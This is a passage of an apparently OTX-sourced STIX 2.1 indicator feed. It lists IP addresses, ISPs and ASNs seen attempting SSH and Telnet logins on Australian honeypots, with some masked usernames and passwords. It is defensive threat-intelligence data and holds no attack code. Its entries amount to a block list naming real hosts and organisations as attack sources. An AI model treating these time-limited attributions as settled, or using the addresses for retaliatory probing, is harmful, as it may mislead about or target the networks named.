      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T13:15:10.000Z",
      "valid_until": "2026-06-06T13:15:08.000Z"
    },
    {
      "created": "2026-05-05T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 59257. Organisation(s): CMPak Limited.",
      "id": "indicator--92232187-67ab-4184-925e-1b1c6ba90058",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.72.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T13:15:10.000Z",
      "valid_until": "2026-06-06T13:15:08.000Z"
    },
    {
      "created": "2026-05-05T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 134674. Organisation(s): TATA PLAY BROADBAND PRIVATE LIMITED.",
      "id": "indicator--7ca3dae3-dbb8-447b-884c-8e41b8bffee7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.84.60.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T13:15:10.000Z",
      "valid_until": "2026-06-06T13:15:08.000Z"
    },
    {
      "created": "2026-05-05T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--a4a4535e-5c46-4324-875b-d98b6205f85e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.240.223.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T13:15:10.000Z",
      "valid_until": "2026-06-06T13:15:08.000Z"
    },
    {
      "created": "2026-05-05T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 204267. Organisation(s): Homenet LLC.",
      "id": "indicator--a7a0b6e1-3b3a-44a8-8f3d-d87d28be2968",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.205.198.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T13:15:10.000Z",
      "valid_until": "2026-06-06T13:15:08.000Z"
    },
    {
      "created": "2026-05-05T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 20632. Organisation(s): PJSC MegaFon.",
      "id": "indicator--f43e4056-14e7-4cc0-a77b-21ea64d3754d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.153.142.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T13:15:10.000Z",
      "valid_until": "2026-06-06T13:15:08.000Z"
    },
    {
      "created": "2026-05-05T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142647. Organisation(s): Nasstec Airnet Networks Private Limited.",
      "id": "indicator--3527b89f-93c1-4b9b-b14d-e6bcd1f11ef6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.173.7.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:15:10.000Z",
      "valid_until": "2026-06-06T14:15:08.000Z"
    },
    {
      "created": "2026-05-05T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 400536. Organisation(s): Nodestop LLC.",
      "id": "indicator--5b40c96e-f2b5-4446-8918-3e26afac8693",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.165.95.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:15:10.000Z",
      "valid_until": "2026-06-06T14:15:08.000Z"
    },
    {
      "created": "2026-05-05T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--78988d34-b109-48bc-a687-c2bae2dda21a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.99.255.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:15:10.000Z",
      "valid_until": "2026-06-06T14:15:08.000Z"
    },
    {
      "created": "2026-05-05T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 42772. Organisation(s): Unitary enterprise A1.",
      "id": "indicator--5dc54f24-6756-4909-8c2e-e5a91a1cc658",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.65.1.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:15:10.000Z",
      "valid_until": "2026-06-06T14:15:08.000Z"
    },
    {
      "created": "2026-05-05T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 475. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, d*******r, m*****r, u**r. Passwords observed (masked): 1**4, a***n, 1****6, *****, 0********1.",
      "id": "indicator--bfa47dfd-3f55-427c-a70a-9eaedf5ae4ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.231.178.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:15:10.000Z",
      "valid_until": "2026-06-06T14:15:08.000Z"
    },
    {
      "created": "2026-05-05T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 530. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, t**t, s*****t, u**t. Passwords observed (masked): 1****6, p******d, 1***5, a****3, a***n.",
      "id": "indicator--0e5fc404-85e1-4350-a142-1411737b7a77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.231.188.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:15:10.000Z",
      "valid_until": "2026-06-06T14:15:08.000Z"
    },
    {
      "created": "2026-05-05T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f79ec5b9-13c4-4a28-ba9b-1cf9778a7554",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.162.104.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:15:10.000Z",
      "valid_until": "2026-06-06T14:15:08.000Z"
    },
    {
      "created": "2026-05-05T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--63f0dffa-64b1-4b67-96d5-0df89ba1ee7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.140.113.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:15:10.000Z",
      "valid_until": "2026-06-06T14:15:08.000Z"
    },
    {
      "created": "2026-05-05T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 51020. Organisation(s): Al-Jazeera Al-Arabiya Company for Communication and Internet LTD.",
      "id": "indicator--26ae78d7-5a61-4c94-8bc3-aa26449738eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.77.55.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:15:10.000Z",
      "valid_until": "2026-06-06T14:15:08.000Z"
    },
    {
      "created": "2026-05-05T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263569. Organisation(s): DIRECT INTERNET LTDA.",
      "id": "indicator--3818fc44-6a1c-42d9-8676-bb2668f14b0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.163.154.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:15:10.000Z",
      "valid_until": "2026-06-06T14:15:08.000Z"
    },
    {
      "created": "2026-05-05T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--9227b603-07eb-4055-ad18-519014716621",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.167.43.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:15:10.000Z",
      "valid_until": "2026-06-06T14:15:08.000Z"
    },
    {
      "created": "2026-05-05T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--31c74561-8524-4dd9-b3d0-c31fe9bb27bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.28.49.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:15:10.000Z",
      "valid_until": "2026-06-06T15:15:09.000Z"
    },
    {
      "created": "2026-05-05T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): ***. Passwords observed (masked): s****r.",
      "id": "indicator--31cc1394-f405-4411-abd5-4387934525fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.112.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:15:10.000Z",
      "valid_until": "2026-06-06T15:15:09.000Z"
    },
    {
      "created": "2026-05-05T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5607. Organisation(s): Sky UK Limited.",
      "id": "indicator--f72cd03c-3bc0-4819-99aa-02249956fed3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.229.11.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:15:10.000Z",
      "valid_until": "2026-06-06T15:15:09.000Z"
    },
    {
      "created": "2026-05-05T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): u****u, 3**********4, **, o****e, w*******s. Passwords observed (masked): 3**********4, a******4, a******3, o********4, p*****3.",
      "id": "indicator--0e4e6d3b-d854-48dc-9eed-62c30d805787",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.83.12.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:15:10.000Z",
      "valid_until": "2026-06-06T15:15:09.000Z"
    },
    {
      "created": "2026-05-05T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 27747. Organisation(s): Telecentro S.A..",
      "id": "indicator--5733fbda-a16a-41fb-844a-cbd5dccea14c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.22.13.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:15:10.000Z",
      "valid_until": "2026-06-06T15:15:09.000Z"
    },
    {
      "created": "2026-05-05T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--37a2c820-a956-4f00-98e9-43a0a18cecbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.137.94.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:15:10.000Z",
      "valid_until": "2026-06-06T15:15:09.000Z"
    },
    {
      "created": "2026-05-05T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17884. Organisation(s): PT. Uninet Media Sakti ISP. Usernames observed (masked): r**t, 3**********4, a***n, s******r, u****u. Passwords observed (masked): !******Q, 1******M, 2**6, 3***********4, 3**********4.",
      "id": "indicator--8bcc0f5a-c382-46c8-985f-cb97571b0bed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.145.0.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:15:10.000Z",
      "valid_until": "2026-06-06T15:15:09.000Z"
    },
    {
      "created": "2026-05-05T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--477006c8-693e-4cc0-bb62-fb15e058a88a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.181.22.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:15:10.000Z",
      "valid_until": "2026-06-06T15:15:09.000Z"
    },
    {
      "created": "2026-05-05T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 47. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3e1eb86d-5dfb-4726-be8d-730fe0064f72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.38.142.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:15:10.000Z",
      "valid_until": "2026-06-06T15:15:09.000Z"
    },
    {
      "created": "2026-05-05T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--0afb87fe-cfb0-479b-9854-d024a0766f31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.205.214.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:15:10.000Z",
      "valid_until": "2026-06-06T15:15:09.000Z"
    },
    {
      "created": "2026-05-05T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--45a2d070-0c69-42b3-b535-c68245d038c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.89.252.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:15:10.000Z",
      "valid_until": "2026-06-06T15:15:09.000Z"
    },
    {
      "created": "2026-05-05T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): u****u. Passwords observed (masked): a******4.",
      "id": "indicator--ecab680c-83d1-4573-ad88-af057624471e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.78.198.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:15:10.000Z",
      "valid_until": "2026-06-06T15:15:09.000Z"
    },
    {
      "created": "2026-05-05T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5089. Organisation(s): Virgin Media.",
      "id": "indicator--a4a8917c-01a3-4ffb-a59b-69d38e948e41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.5.26.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:15:10.000Z",
      "valid_until": "2026-06-06T15:15:09.000Z"
    },
    {
      "created": "2026-05-05T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 197357. Organisation(s): Chrominance SRL.",
      "id": "indicator--1b16d269-62ce-4b43-97c1-f309dac2bd03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.220.63.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:15:10.000Z",
      "valid_until": "2026-06-06T15:15:09.000Z"
    },
    {
      "created": "2026-05-05T16:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45271. Organisation(s): Vodafone Idea Ltd.",
      "id": "indicator--dd740f4f-d7d7-4c1f-87ce-f0430afb43f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T16:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.77.157.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:15:23.000Z",
      "valid_until": "2026-06-06T16:15:08.000Z"
    },
    {
      "created": "2026-05-05T16:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--4ac85c18-6c71-4a3d-b39a-c20a8e5d18dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T16:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.64.31.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:15:23.000Z",
      "valid_until": "2026-06-06T16:15:08.000Z"
    },
    {
      "created": "2026-05-05T16:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--901e4ea2-cbb8-47f2-9a91-bdd665e28165",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T16:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.231.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:15:23.000Z",
      "valid_until": "2026-06-06T16:15:08.000Z"
    },
    {
      "created": "2026-05-05T16:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--0e81553e-613d-406c-9a7e-2812cef1e099",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T16:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.234.217.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:15:23.000Z",
      "valid_until": "2026-06-06T16:15:08.000Z"
    },
    {
      "created": "2026-05-05T16:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--c835744a-b1d9-4baf-9af7-50a4e6caee6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T16:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:15:23.000Z",
      "valid_until": "2026-06-06T16:15:08.000Z"
    },
    {
      "created": "2026-05-05T16:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): j*****3.",
      "id": "indicator--5804d2cd-f406-4dcb-9b69-95c5d576c263",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T16:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.88.55.220']",
      "pattern_type": "stix",
